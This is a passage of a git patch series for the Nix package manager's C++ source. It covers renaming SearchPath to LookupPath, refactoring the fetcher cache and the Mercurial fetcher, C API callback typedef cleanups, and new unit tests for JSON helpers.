Common, MixEnvironment } } - runProgramInStore(store, UseSearchPath::Use, shell, args, buildEnvironment.getSystem()); + runProgramInStore(store, UseLookupPath::Use, shell, args, buildEnvironment.getSystem()); #endif } }; diff --git a/src/nix/fmt.cc b/src/nix/fmt.cc index 059904150..4b0fbb89d 100644 --- a/src/nix/fmt.cc +++ b/src/nix/fmt.cc @@ -49,7 +49,7 @@ struct CmdFmt : SourceExprCommand { } } - runProgramInStore(store, UseSearchPath::DontUse, app.program, programArgs); + runProgramInStore(store, UseLookupPath::DontUse, app.program, programArgs); }; }; diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index 8e6a2e805..f905cabef 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -193,7 +193,7 @@ static int main_nix_prefetch_url(int argc, char * * argv) startProgressBar(); auto store = openStore(); - auto state = std::make_unique(myArgs.searchPath, store); + auto state = std::make_unique(myArgs.lookupPath, store); Bindings & autoArgs = *myArgs.getAutoArgs(*state); diff --git a/src/nix/repl.cc b/src/nix/repl.cc index 8bbfe0f07..a2f3e033e 100644 --- a/src/nix/repl.cc +++ b/src/nix/repl.cc @@ -78,7 +78,7 @@ struct CmdRepl : RawInstallablesCommand return values; }; auto repl = AbstractNixRepl::create( - searchPath, + lookupPath, openStore(), state, getValues diff --git a/src/nix/run.cc b/src/nix/run.cc index c45683302..88821710d 100644 --- a/src/nix/run.cc +++ b/src/nix/run.cc @@ -25,7 +25,7 @@ std::string chrootHelperName = "__run_in_chroot"; namespace nix { void runProgramInStore(ref store, - UseSearchPath useSearchPath, + UseLookupPath useLookupPath, const std::string & program, const Strings & args, std::optional system) @@ -61,7 +61,7 @@ void runProgramInStore(ref store, linux::setPersonality(*system); #endif - if (useSearchPath == UseSearchPath::Use) + if (useLookupPath == UseLookupPath::Use) execvp(program.c_str(), stringsToCharPtrs(args).data()); else execv(program.c_str(), stringsToCharPtrs(args).data()); @@ -142,7 +142,7 @@ struct CmdShell : InstallablesCommand, MixEnvironment Strings args; for (auto & arg : command) args.push_back(arg); - runProgramInStore(store, UseSearchPath::Use, *command.begin(), args); + runProgramInStore(store, UseLookupPath::Use, *command.begin(), args); } }; @@ -204,7 +204,7 @@ struct CmdRun : InstallableValueCommand Strings allArgs{app.program}; for (auto & i : args) allArgs.push_back(i); - runProgramInStore(store, UseSearchPath::DontUse, app.program, allArgs); + runProgramInStore(store, UseLookupPath::DontUse, app.program, allArgs); } }; diff --git a/src/nix/run.hh b/src/nix/run.hh index a55917b06..2fe6ed86a 100644 --- a/src/nix/run.hh +++ b/src/nix/run.hh @@ -5,13 +5,13 @@ namespace nix { -enum struct UseSearchPath { +enum struct UseLookupPath { Use, DontUse }; void runProgramInStore(ref store, - UseSearchPath useSearchPath, + UseLookupPath useLookupPath, const std::string & program, const Strings & args, std::optional system = std::nullopt); diff --git a/src/nix/upgrade-nix.cc b/src/nix/upgrade-nix.cc index 4c7a74e16..a64b6a56e 100644 --- a/src/nix/upgrade-nix.cc +++ b/src/nix/upgrade-nix.cc @@ -147,7 +147,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand auto req = FileTransferRequest((std::string&) settings.upgradeNixStorePathUrl); auto res = getFileTransfer()->download(req); - auto state = std::make_unique(SearchPath{}, store); + auto state = std::make_unique(LookupPath{}, store); auto v = state->allocValue(); state->eval(state->parseExprFromString(res.data, state->rootPath(CanonPath("/no-such-path"))), *v); Bindings & bindings(*state->allocBindings(0)); diff --git a/tests/unit/libexpr/search-path.cc b/tests/unit/libexpr/search-path.cc index dbe7ab95f..080679355 100644 --- a/tests/unit/libexpr/search-path.cc +++ b/tests/unit/libexpr/search-path.cc @@ -5,85 +5,85 @@ namespace nix { -TEST(SearchPathElem, parse_justPath) { +TEST(LookupPathElem, parse_justPath) { ASSERT_EQ( - SearchPath::Elem::parse("foo"), - (SearchPath::Elem { - .prefix = SearchPath::Prefix { .s = "" }, - .path = SearchPath::Path { .s = "foo" }, + LookupPath::Elem::parse("foo"), + (LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = "" }, + .path = LookupPath::Path { .s = "foo" }, })); } -TEST(SearchPathElem, parse_emptyPrefix) { +TEST(LookupPathElem, parse_emptyPrefix) { ASSERT_EQ( - SearchPath::Elem::parse("=foo"), - (SearchPath::Elem { - .prefix = SearchPath::Prefix { .s = "" }, - .path = SearchPath::Path { .s = "foo" }, + LookupPath::Elem::parse("=foo"), + (LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = "" }, + .path = LookupPath::Path { .s = "foo" }, })); } -TEST(SearchPathElem, parse_oneEq) { +TEST(LookupPathElem, parse_oneEq) { ASSERT_EQ( - SearchPath::Elem::parse("foo=bar"), - (SearchPath::Elem { - .prefix = SearchPath::Prefix { .s = "foo" }, - .path = SearchPath::Path { .s = "bar" }, + LookupPath::Elem::parse("foo=bar"), + (LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = "foo" }, + .path = LookupPath::Path { .s = "bar" }, })); } -TEST(SearchPathElem, parse_twoEqs) { +TEST(LookupPathElem, parse_twoEqs) { ASSERT_EQ( - SearchPath::Elem::parse("foo=bar=baz"), - (SearchPath::Elem { - .prefix = SearchPath::Prefix { .s = "foo" }, - .path = SearchPath::Path { .s = "bar=baz" }, + LookupPath::Elem::parse("foo=bar=baz"), + (LookupPath::Elem { + .prefix = LookupPath::Prefix { .s = "foo" }, + .path = LookupPath::Path { .s = "bar=baz" }, })); } -TEST(SearchPathElem, suffixIfPotentialMatch_justPath) { - SearchPath::Prefix prefix { .s = "" }; +TEST(LookupPathElem, suffixIfPotentialMatch_justPath) { + LookupPath::Prefix prefix { .s = "" }; ASSERT_EQ(prefix.suffixIfPotentialMatch("any/thing"), std::optional { "any/thing" }); } -TEST(SearchPathElem, suffixIfPotentialMatch_misleadingPrefix1) { - SearchPath::Prefix prefix { .s = "foo" }; +TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix1) { + LookupPath::Prefix prefix { .s = "foo" }; ASSERT_EQ(prefix.suffixIfPotentialMatch("fooX"), std::nullopt); } -TEST(SearchPathElem, suffixIfPotentialMatch_misleadingPrefix2) { - SearchPath::Prefix prefix { .s = "foo" }; +TEST(LookupPathElem, suffixIfPotentialMatch_misleadingPrefix2) { + LookupPath::Prefix prefix { .s = "foo" }; ASSERT_EQ(prefix.suffixIfPotentialMatch("fooX/bar"), std::nullopt); } -TEST(SearchPathElem, suffixIfPotentialMatch_partialPrefix) { - SearchPath::Prefix prefix { .s = "fooX" }; +TEST(LookupPathElem, suffixIfPotentialMatch_partialPrefix) { + LookupPath::Prefix prefix { .s = "fooX" }; ASSERT_EQ(prefix.suffixIfPotentialMatch("foo"), std::nullopt); } -TEST(SearchPathElem, suffixIfPotentialMatch_exactPrefix) { - SearchPath::Prefix prefix { .s = "foo" }; +TEST(LookupPathElem, suffixIfPotentialMatch_exactPrefix) { + LookupPath::Prefix prefix { .s = "foo" }; ASSERT_EQ(prefix.suffixIfPotentialMatch("foo"), std::optional { "" }); } -TEST(SearchPathElem, suffixIfPotentialMatch_multiKey) { - SearchPath::Prefix prefix { .s = "foo/bar" }; +TEST(LookupPathElem, suffixIfPotentialMatch_multiKey) { + LookupPath::Prefix prefix { .s = "foo/bar" }; ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional { "baz" }); } -TEST(SearchPathElem, suffixIfPotentialMatch_trailingSlash) { - SearchPath::Prefix prefix { .s = "foo" }; +TEST(LookupPathElem, suffixIfPotentialMatch_trailingSlash) { + LookupPath::Prefix prefix { .s = "foo" }; ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/"), std::optional { "" }); } -TEST(SearchPathElem, suffixIfPotentialMatch_trailingDoubleSlash) { - SearchPath::Prefix prefix { .s = "foo" }; +TEST(LookupPathElem, suffixIfPotentialMatch_trailingDoubleSlash) { + LookupPath::Prefix prefix { .s = "foo" }; ASSERT_EQ(prefix.suffixIfPotentialMatch("foo//"), std::optional { "/" }); } -TEST(SearchPathElem, suffixIfPotentialMatch_trailingPath) { - SearchPath::Prefix prefix { .s = "foo" }; +TEST(LookupPathElem, suffixIfPotentialMatch_trailingPath) { + LookupPath::Prefix prefix { .s = "foo" }; ASSERT_EQ(prefix.suffixIfPotentialMatch("foo/bar/baz"), std::optional { "bar/baz" }); } From eff90af49811ff186b94c009d34bbcda518acd6a Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 13 Apr 2024 12:10:12 -0400 Subject: [PATCH 0448/1251] Slight refactors in preparation for #10480 Code operating on store objects (including creating them) should, in general, use `ContentAddressMethod` rather than `FileIngestionMethod`. See also dfc876531f269950a4e183a4f77a813c421d7d64 which included some similar refactors. --- src/libexpr/primops.cc | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 8cec93001..d50dad5ef 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -2248,7 +2248,7 @@ static void addPath( std::string_view name, SourcePath path, Value * filterFun, - FileIngestionMethod method, + ContentAddressMethod method, const std::optional expectedHash, Value & v, const NixStringContext & context) @@ -2280,11 +2280,10 @@ static void addPath( std::optional expectedStorePath; if (expectedHash) - expectedStorePath = state.store->makeFixedOutputPath(name, FixedOutputInfo { - .method = method, - .hash = *expectedHash, - .references = {}, - }); + expectedStorePath = state.store->makeFixedOutputPathFromCA(name, ContentAddressWithReferences::fromParts( + method, + *expectedHash, + {})); if (!expectedHash || !state.store->isValidPath(*expectedStorePath)) { auto dstPath = fetchToStore( @@ -2380,7 +2379,7 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value std::optional path; std::string name; Value * filterFun = nullptr; - auto method = FileIngestionMethod::Recursive; + ContentAddressMethod method = FileIngestionMethod::Recursive; std::optional expectedHash; NixStringContext context; @@ -2395,7 +2394,9 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value else if (n == "filter") state.forceFunction(*(filterFun = attr.value), attr.pos, "while evaluating the `filter` parameter passed to builtins.path"); else if (n == "recursive") - method = FileIngestionMethod { state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path") }; + method = state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path") + ? FileIngestionMethod::Recursive + : FileIngestionMethod::Flat; else if (n == "sha256") expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `sha256` attribute passed to builtins.path"), HashAlgorithm::SHA256); else From 62ce139e3fa2dad5731d21f703b03aa8323c4b6e Mon Sep 17 00:00:00 2001 From: Roland Coeurjoly Date: Sat, 13 Apr 2024 23:34:01 +0200 Subject: [PATCH 0449/1251] No need to undef now that there is no collision --- src/libexpr/eval.hh | 3 --- src/libexpr/search-path.hh | 3 --- 2 files changed, 6 deletions(-) diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index b62c994ad..3477f6c46 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -161,9 +161,6 @@ struct DebugTrace { bool isError; }; -// Don't want Windows function -#undef LookupPath - class EvalState : public std::enable_shared_from_this { public: diff --git a/src/libexpr/search-path.hh b/src/libexpr/search-path.hh index 6a63f3730..acd843638 100644 --- a/src/libexpr/search-path.hh +++ b/src/libexpr/search-path.hh @@ -8,9 +8,6 @@ namespace nix { -// Do not want the windows macro (alias to `LookupPathA`) -#undef LookupPath - /** * A "search path" is a list of ways look for something, used with * `builtins.findFile` and `< >` lookup expressions. From 76444a395825cca5e00b3eecef78109740b24114 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 14 Apr 2024 16:18:32 +0200 Subject: [PATCH 0450/1251] C API: proper `ifdef` `endif` indentation --- src/libexpr-c/nix_api_value.cc | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 87e25f9d9..817464fa8 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -15,9 +15,9 @@ #include "value/context.hh" #ifdef HAVE_BOEHMGC -#include "gc/gc.h" -#define GC_INCLUDE_NEW 1 -#include "gc_cpp.h" +# include "gc/gc.h" +# define GC_INCLUDE_NEW 1 +# include "gc_cpp.h" #endif // Helper function to throw an exception if value is null From bb939d37727f2a046c96dc6ca4a8b2ea8b85531f Mon Sep 17 00:00:00 2001 From: HaeNoe Date: Sun, 14 Apr 2024 22:35:51 +0200 Subject: [PATCH 0451/1251] change implementation of `optionalValueAt` --- src/libutil/json-utils.cc | 10 ++++------ src/libutil/json-utils.hh | 2 +- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/src/libutil/json-utils.cc b/src/libutil/json-utils.cc index 7a7264a9a..1b911bf75 100644 --- a/src/libutil/json-utils.cc +++ b/src/libutil/json-utils.cc @@ -30,14 +30,12 @@ const nlohmann::json & valueAt( return map.at(key); } -std::optional optionalValueAt(const nlohmann::json & value, const std::string & key) +std::optional optionalValueAt(const nlohmann::json::object_t & map, const std::string & key) { - try { - auto & v = valueAt(value, key); - return v.get(); - } catch (...) { + if (!map.contains(key)) return std::nullopt; - } + + return std::optional { map.at(key) }; } diff --git a/src/libutil/json-utils.hh b/src/libutil/json-utils.hh index 2024624f4..08c98cc8c 100644 --- a/src/libutil/json-utils.hh +++ b/src/libutil/json-utils.hh @@ -23,7 +23,7 @@ const nlohmann::json & valueAt( const nlohmann::json::object_t & map, const std::string & key); -std::optional optionalValueAt(const nlohmann::json & value, const std::string & key); +std::optional optionalValueAt(const nlohmann::json::object_t & value, const std::string & key); /** * Downcast the json object, failing with a nice error if the conversion fails. From ff4c286e8006e3d13da67076e973badf78edf22b Mon Sep 17 00:00:00 2001 From: HaeNoe Date: Sun, 14 Apr 2024 22:36:03 +0200 Subject: [PATCH 0452/1251] add tests for `optionalValueAt` --- tests/unit/libutil/json-utils.cc | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/tests/unit/libutil/json-utils.cc b/tests/unit/libutil/json-utils.cc index ffa667806..ec653fff5 100644 --- a/tests/unit/libutil/json-utils.cc +++ b/tests/unit/libutil/json-utils.cc @@ -160,4 +160,16 @@ TEST(getBoolean, wrongAssertions) { ASSERT_THROW(getBoolean(valueAt(json, "int")), Error); } +TEST(optionalValueAt, existing) { + auto json = R"({ "string": "ssh-rsa" })"_json; + + ASSERT_EQ(optionalValueAt(json, "string"), std::optional { "ssh-rsa" }); +} + +TEST(optionalValueAt, empty) { + auto json = R"({})"_json; + + ASSERT_EQ(optionalValueAt(json, "string2"), std::nullopt); +} + } /* namespace nix */ From e3fed2ebcf5d5b701f7c4a2d368006e20dfd4f8b Mon Sep 17 00:00:00 2001 From: HaeNoe Date: Sun, 14 Apr 2024 22:37:08 +0200 Subject: [PATCH 0453/1251] update `fetchers::PublicKey` json (de)serialization --- src/libfetchers/fetchers.cc | 18 ++++++++++++++++++ src/libfetchers/fetchers.hh | 4 +++- 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc index 483796f0b..a06d931db 100644 --- a/src/libfetchers/fetchers.cc +++ b/src/libfetchers/fetchers.cc @@ -3,6 +3,7 @@ #include "input-accessor.hh" #include "source-path.hh" #include "fetch-to-store.hh" +#include "json-utils.hh" #include @@ -412,3 +413,20 @@ std::string publicKeys_to_string(const std::vector& publicKeys) } } + +namespace nlohmann { + +using namespace nix; + +fetchers::PublicKey adl_serializer::from_json(const json & json) { + auto type = optionalValueAt(json, "type").value_or("ssh-ed25519"); + auto key = valueAt(json, "key"); + return fetchers::PublicKey { getString(type), getString(key) }; +} + +void adl_serializer::to_json(json & json, fetchers::PublicKey p) { + json["type"] = p.type; + json["key"] = p.key; +} + +} diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh index cd11f9eae..bb21c68cc 100644 --- a/src/libfetchers/fetchers.hh +++ b/src/libfetchers/fetchers.hh @@ -4,6 +4,7 @@ #include "types.hh" #include "hash.hh" #include "canon-path.hh" +#include "json-impls.hh" #include "attrs.hh" #include "url.hh" @@ -230,8 +231,9 @@ struct PublicKey std::string type = "ssh-ed25519"; std::string key; }; -NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE_WITH_DEFAULT(PublicKey, type, key) std::string publicKeys_to_string(const std::vector&); } + +JSON_IMPL(fetchers::PublicKey) From 774e7213e85447e159b93437f5f269a2f14621ff Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Mon, 15 Apr 2024 12:05:57 +0200 Subject: [PATCH 0454/1251] C API: Use `nix_get_string_callback` typedef --- src/libstore-c/nix_api_store.cc | 20 +++++------------- src/libstore-c/nix_api_store.h | 18 ++++------------ src/libutil-c/nix_api_util.cc | 21 +++++-------------- src/libutil-c/nix_api_util.h | 16 +++----------- src/libutil-c/nix_api_util_internal.h | 3 +-- .../libutil-support/tests/string_callback.hh | 3 +-- 6 files changed, 19 insertions(+), 62 deletions(-) diff --git a/src/libstore-c/nix_api_store.cc b/src/libstore-c/nix_api_store.cc index aa4ab521a..6ce4d01bb 100644 --- a/src/libstore-c/nix_api_store.cc +++ b/src/libstore-c/nix_api_store.cc @@ -56,11 +56,7 @@ void nix_store_free(Store * store) delete store; } -nix_err nix_store_get_uri( - nix_c_context * context, - Store * store, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data) +nix_err nix_store_get_uri(nix_c_context * context, Store * store, nix_get_string_callback callback, void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -71,11 +67,8 @@ nix_err nix_store_get_uri( NIXC_CATCH_ERRS } -nix_err nix_store_get_version( - nix_c_context * context, - Store * store, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data) +nix_err +nix_store_get_version(nix_c_context * context, Store * store, nix_get_string_callback callback, void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -136,13 +129,10 @@ nix_err nix_store_realise( NIXC_CATCH_ERRS } -void nix_store_path_name( - const StorePath * store_path, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data) +void nix_store_path_name(const StorePath * store_path, nix_get_string_callback callback, void * user_data) { std::string_view name = store_path->path.name(); - ((nix_get_string_callback) callback)(name.data(), name.size(), user_data); + callback(name.data(), name.size(), user_data); } void nix_store_path_free(StorePath * sp) diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index efeedbf7b..c83aca3f7 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -76,11 +76,7 @@ void nix_store_free(Store * store); * @see nix_get_string_callback * @return error code, NIX_OK on success. */ -nix_err nix_store_get_uri( - nix_c_context * context, - Store * store, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data); +nix_err nix_store_get_uri(nix_c_context * context, Store * store, nix_get_string_callback callback, void * user_data); // returns: owned StorePath* /** @@ -101,10 +97,7 @@ StorePath * nix_store_parse_path(nix_c_context * context, Store * store, const c * @param[in] callback called with the name * @param[in] user_data arbitrary data, passed to the callback when it's called. */ -void nix_store_path_name( - const StorePath * store_path, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data); +void nix_store_path_name(const StorePath * store_path, nix_get_string_callback callback, void * user_data); /** * @brief Copy a StorePath @@ -163,11 +156,8 @@ nix_err nix_store_realise( * @see nix_get_string_callback * @return error code, NIX_OK on success. */ -nix_err nix_store_get_version( - nix_c_context * context, - Store * store, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data); +nix_err +nix_store_get_version(nix_c_context * context, Store * store, nix_get_string_callback callback, void * user_data); // cffi end #ifdef __cplusplus diff --git a/src/libutil-c/nix_api_util.cc b/src/libutil-c/nix_api_util.cc index 4999e28e9..0a9b49345 100644 --- a/src/libutil-c/nix_api_util.cc +++ b/src/libutil-c/nix_api_util.cc @@ -64,11 +64,7 @@ const char * nix_version_get() // Implementations -nix_err nix_setting_get( - nix_c_context * context, - const char * key, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data) +nix_err nix_setting_get(nix_c_context * context, const char * key, nix_get_string_callback callback, void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -120,10 +116,7 @@ const char * nix_err_msg(nix_c_context * context, const nix_c_context * read_con } nix_err nix_err_name( - nix_c_context * context, - const nix_c_context * read_context, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data) + nix_c_context * context, const nix_c_context * read_context, nix_get_string_callback callback, void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -134,10 +127,7 @@ nix_err nix_err_name( } nix_err nix_err_info_msg( - nix_c_context * context, - const nix_c_context * read_context, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data) + nix_c_context * context, const nix_c_context * read_context, nix_get_string_callback callback, void * user_data) { if (context) context->last_err_code = NIX_OK; @@ -153,9 +143,8 @@ nix_err nix_err_code(const nix_c_context * read_context) } // internal -nix_err call_nix_get_string_callback( - const std::string str, void (*callback)(const char * start, unsigned int n, void * user_data), void * user_data) +nix_err call_nix_get_string_callback(const std::string str, nix_get_string_callback callback, void * user_data) { - ((nix_get_string_callback) callback)(str.c_str(), str.size(), user_data); + callback(str.c_str(), str.size(), user_data); return NIX_OK; } diff --git a/src/libutil-c/nix_api_util.h b/src/libutil-c/nix_api_util.h index 36a3f76cb..e0ca04e69 100644 --- a/src/libutil-c/nix_api_util.h +++ b/src/libutil-c/nix_api_util.h @@ -175,11 +175,7 @@ nix_err nix_libutil_init(nix_c_context * context); * @return NIX_ERR_KEY if the setting is unknown, or NIX_OK if the setting was retrieved * successfully. */ -nix_err nix_setting_get( - nix_c_context * context, - const char * key, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data); +nix_err nix_setting_get(nix_c_context * context, const char * key, nix_get_string_callback callback, void * user_data); /** * @brief Sets a setting in the nix global configuration. @@ -246,10 +242,7 @@ const char * nix_err_msg(nix_c_context * context, const nix_c_context * ctx, uns * @return NIX_OK if there were no errors, an error code otherwise. */ nix_err nix_err_info_msg( - nix_c_context * context, - const nix_c_context * read_context, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data); + nix_c_context * context, const nix_c_context * read_context, nix_get_string_callback callback, void * user_data); /** * @brief Retrieves the error name from a context. @@ -268,10 +261,7 @@ nix_err nix_err_info_msg( * @return NIX_OK if there were no errors, an error code otherwise. */ nix_err nix_err_name( - nix_c_context * context, - const nix_c_context * read_context, - void (*callback)(const char * start, unsigned int n, void * user_data), - void * user_data); + nix_c_context * context, const nix_c_context * read_context, nix_get_string_callback callback, void * user_data); /** * @brief Retrieves the most recent error code from a nix_c_context diff --git a/src/libutil-c/nix_api_util_internal.h b/src/libutil-c/nix_api_util_internal.h index fe5d5db18..aa829feaf 100644 --- a/src/libutil-c/nix_api_util_internal.h +++ b/src/libutil-c/nix_api_util_internal.h @@ -29,8 +29,7 @@ nix_err nix_context_error(nix_c_context * context); * @return NIX_OK if there were no errors. * @see nix_get_string_callback */ -nix_err call_nix_get_string_callback( - const std::string str, void (*callback)(const char * start, unsigned int n, void * user_data), void * user_data); +nix_err call_nix_get_string_callback(const std::string str, nix_get_string_callback callback, void * user_data); #define NIXC_CATCH_ERRS \ catch (...) \ diff --git a/tests/unit/libutil-support/tests/string_callback.hh b/tests/unit/libutil-support/tests/string_callback.hh index 6420810b6..3a3e545e9 100644 --- a/tests/unit/libutil-support/tests/string_callback.hh +++ b/tests/unit/libutil-support/tests/string_callback.hh @@ -11,7 +11,6 @@ inline void * observe_string_cb_data(std::string & out) }; #define OBSERVE_STRING(str) \ - (void (*)(const char *, unsigned int, void *)) nix::testing::observe_string_cb, \ - nix::testing::observe_string_cb_data(str) + (nix_get_string_callback) nix::testing::observe_string_cb, nix::testing::observe_string_cb_data(str) } From d084c1cb410679ba2f80998e2263c60108aa0115 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 10 Apr 2024 12:46:21 +0200 Subject: [PATCH 0455/1251] Remove the "locked" flag from the fetcher cache This also reworks the Mercurial fetcher (which was still using the old cache interface) to have two distinct cache mappings: * A ref-to-rev mapping, which is store-independent. * A rev-to-store-path mapping. --- src/libfetchers/cache.cc | 9 ++-- src/libfetchers/cache.hh | 3 +- src/libfetchers/fetch-to-store.cc | 3 +- src/libfetchers/tarball.cc | 3 +- src/libfetchers/unix/mercurial.cc | 84 ++++++++++++++---------------- tests/functional/fetchMercurial.sh | 1 + 6 files changed, 45 insertions(+), 58 deletions(-) diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc index e071b4717..83962856c 100644 --- a/src/libfetchers/cache.cc +++ b/src/libfetchers/cache.cc @@ -14,7 +14,7 @@ create table if not exists Cache ( input text not null, info text not null, path text not null, - immutable integer not null, + immutable integer not null, /* obsolete */ timestamp integer not null, primary key (input) ); @@ -45,7 +45,7 @@ struct CacheImpl : Cache state->db.exec(schema); state->add.create(state->db, - "insert or replace into Cache(input, info, path, immutable, timestamp) values (?, ?, ?, ?, ?)"); + "insert or replace into Cache(input, info, path, immutable, timestamp) values (?, ?, ?, false, ?)"); state->lookup.create(state->db, "select info, path, immutable, timestamp from Cache where input = ?"); @@ -59,7 +59,6 @@ struct CacheImpl : Cache (attrsToJSON(inAttrs).dump()) (attrsToJSON(infoAttrs).dump()) ("") // no path - (false) (time(0)).exec(); } @@ -109,14 +108,12 @@ struct CacheImpl : Cache Store & store, const Attrs & inAttrs, const Attrs & infoAttrs, - const StorePath & storePath, - bool locked) override + const StorePath & storePath) override { _state.lock()->add.use() (attrsToJSON(inAttrs).dump()) (attrsToJSON(infoAttrs).dump()) (store.printStorePath(storePath)) - (locked) (time(0)).exec(); } diff --git a/src/libfetchers/cache.hh b/src/libfetchers/cache.hh index 791d77025..5e05d7af8 100644 --- a/src/libfetchers/cache.hh +++ b/src/libfetchers/cache.hh @@ -53,8 +53,7 @@ struct Cache Store & store, const Attrs & inAttrs, const Attrs & infoAttrs, - const StorePath & storePath, - bool locked) = 0; + const StorePath & storePath) = 0; virtual std::optional> lookup( Store & store, diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc index 398286065..4156302c4 100644 --- a/src/libfetchers/fetch-to-store.cc +++ b/src/libfetchers/fetch-to-store.cc @@ -47,10 +47,9 @@ StorePath fetchToStore( name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2, repair); if (cacheKey && mode == FetchMode::Copy) - fetchers::getCache()->add(store, *cacheKey, {}, storePath, true); + fetchers::getCache()->add(store, *cacheKey, {}, storePath); return storePath; } - } diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index a1f934c35..fd59c1132 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -99,8 +99,7 @@ DownloadFileResult downloadFile( *store, inAttrs, infoAttrs, - *storePath, - false); + *storePath); } return { diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc index a2702338f..783e338bf 100644 --- a/src/libfetchers/unix/mercurial.cc +++ b/src/libfetchers/unix/mercurial.cc @@ -224,22 +224,17 @@ struct MercurialInputScheme : InputScheme if (!input.getRef()) input.attrs.insert_or_assign("ref", "default"); - auto checkHashAlgorithm = [&](const std::optional & hash) + auto revInfoCacheKey = [&](const Hash & rev) { - if (hash.has_value() && hash->algo != HashAlgorithm::SHA1) - throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", hash->to_string(HashFormat::Base16, true)); - }; + if (rev.algo != HashAlgorithm::SHA1) + throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", rev.to_string(HashFormat::Base16, true)); - - auto getLockedAttrs = [&]() - { - checkHashAlgorithm(input.getRev()); - - return Attrs({ - {"type", "hg"}, + return Attrs{ + {"_what", "hgRev"}, + {"store", store->storeDir}, {"name", name}, - {"rev", input.getRev()->gitRev()}, - }); + {"rev", input.getRev()->gitRev()} + }; }; auto makeResult = [&](const Attrs & infoAttrs, const StorePath & storePath) -> StorePath @@ -250,26 +245,22 @@ struct MercurialInputScheme : InputScheme return storePath; }; - if (input.getRev()) { - if (auto res = getCache()->lookup(*store, getLockedAttrs())) - return makeResult(res->first, std::move(res->second)); + /* Check the cache for the most recent rev for this URL/ref. */ + Attrs refToRevCacheKey{ + {"_what", "hgRefToRev"}, + {"url", actualUrl}, + {"ref", *input.getRef()} + }; + + if (!input.getRev()) { + if (auto res = getCache()->lookupWithTTL(refToRevCacheKey)) + input.attrs.insert_or_assign("rev", getRevAttr(*res, "rev").gitRev()); } - auto revOrRef = input.getRev() ? input.getRev()->gitRev() : *input.getRef(); - - Attrs unlockedAttrs({ - {"type", "hg"}, - {"name", name}, - {"url", actualUrl}, - {"ref", *input.getRef()}, - }); - - if (auto res = getCache()->lookup(*store, unlockedAttrs)) { - auto rev2 = Hash::parseAny(getStrAttr(res->first, "rev"), HashAlgorithm::SHA1); - if (!input.getRev() || input.getRev() == rev2) { - input.attrs.insert_or_assign("rev", rev2.gitRev()); - return makeResult(res->first, std::move(res->second)); - } + /* If we have a rev, check if we have a cached store path. */ + if (auto rev = input.getRev()) { + if (auto res = getCache()->lookupExpired(*store, revInfoCacheKey(*rev))) + return makeResult(res->infoAttrs, res->storePath); } Path cacheDir = fmt("%s/nix/hg/%s", getCacheDir(), hashString(HashAlgorithm::SHA256, actualUrl).to_string(HashFormat::Nix32, false)); @@ -302,21 +293,29 @@ struct MercurialInputScheme : InputScheme } } + /* Fetch the remote rev or ref. */ auto tokens = tokenizeString>( - runHg({ "log", "-R", cacheDir, 